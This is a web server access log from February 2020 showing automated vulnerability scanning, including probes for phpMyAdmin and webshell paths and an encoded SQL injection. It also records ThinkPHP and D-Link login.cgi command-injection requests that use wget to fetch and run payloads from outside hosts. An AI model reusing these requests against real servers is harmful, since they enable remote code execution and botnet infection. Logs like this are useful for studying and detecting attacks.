218.66.104.120 - - [05/Feb/2020:13:33:47 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:47 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:48 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:48 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:48 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [05/Feb/2020:13:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:33:49 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:49 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:49 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:52 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:52 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:53 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:53 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:54 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:55 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:55 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:55 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:56 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:57 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:58 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
218.66.104.120 - - [05/Feb/2020:13:33:59 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
218.66.104.120 - - [05/Feb/2020:13:34:20 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
218.66.104.120 - - [05/Feb/2020:13:34:44 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.91.246.72 - - [05/Feb/2020:13:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
153.201.149.125 - - [05/Feb/2020:13:34:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
218.66.104.120 - - [05/Feb/2020:13:35:08 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
218.66.104.120 - - [05/Feb/2020:13:35:32 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.156.219.164 - - [05/Feb/2020:13:35:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:13:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.6.146 - - [05/Feb/2020:13:35:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:35:56 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
218.66.104.120 - - [05/Feb/2020:13:36:20 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
218.66.104.120 - - [05/Feb/2020:13:36:44 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.91.246.72 - - [05/Feb/2020:13:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:37:08 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
218.66.104.120 - - [05/Feb/2020:13:37:32 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
90.63.221.191 - - [05/Feb/2020:13:37:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.70.3.26 - - [05/Feb/2020:13:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:13:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.112.165 - - [05/Feb/2020:13:37:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:37:56 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.66.104.120 - - [05/Feb/2020:13:37:56 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.66.104.120 - - [05/Feb/2020:13:37:56 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.66.104.120 - - [05/Feb/2020:13:37:57 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.66.104.120 - - [05/Feb/2020:13:37:57 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
218.66.104.120 - - [05/Feb/2020:13:38:20 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.66.152.227 - - [05/Feb/2020:13:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.119.205.109 - - [05/Feb/2020:13:38:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [05/Feb/2020:13:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.10.42 - - [05/Feb/2020:13:39:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:39:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:39:40 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [05/Feb/2020:13:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:40:04 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
151.226.25.182 - - [05/Feb/2020:13:40:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
218.66.104.120 - - [05/Feb/2020:13:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [05/Feb/2020:13:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:40:52 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
188.211.85.151 - - [05/Feb/2020:13:41:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:41:20 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:20 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:20 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:21 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:21 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:21 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:21 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:22 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:22 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:22 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:23 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:24 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:24 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:24 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:24 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:25 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:25 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:25 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:25 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
118.69.145.160 - - [05/Feb/2020:13:41:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.66.104.120 - - [05/Feb/2020:13:41:26 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:26 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:26 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:27 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:28 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:28 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:28 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:28 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:29 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:29 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:29 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:29 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:31 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:31 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:32 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:32 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:32 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:32 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:33 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:33 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:33 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:34 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:35 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:35 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:35 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:37 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:40 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:40 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:40 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:40 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:40 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:41 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:41 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:41 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:42 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:42 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:43 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:43 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:44 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:44 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:44 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:44 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:45 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:45 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:45 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:45 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
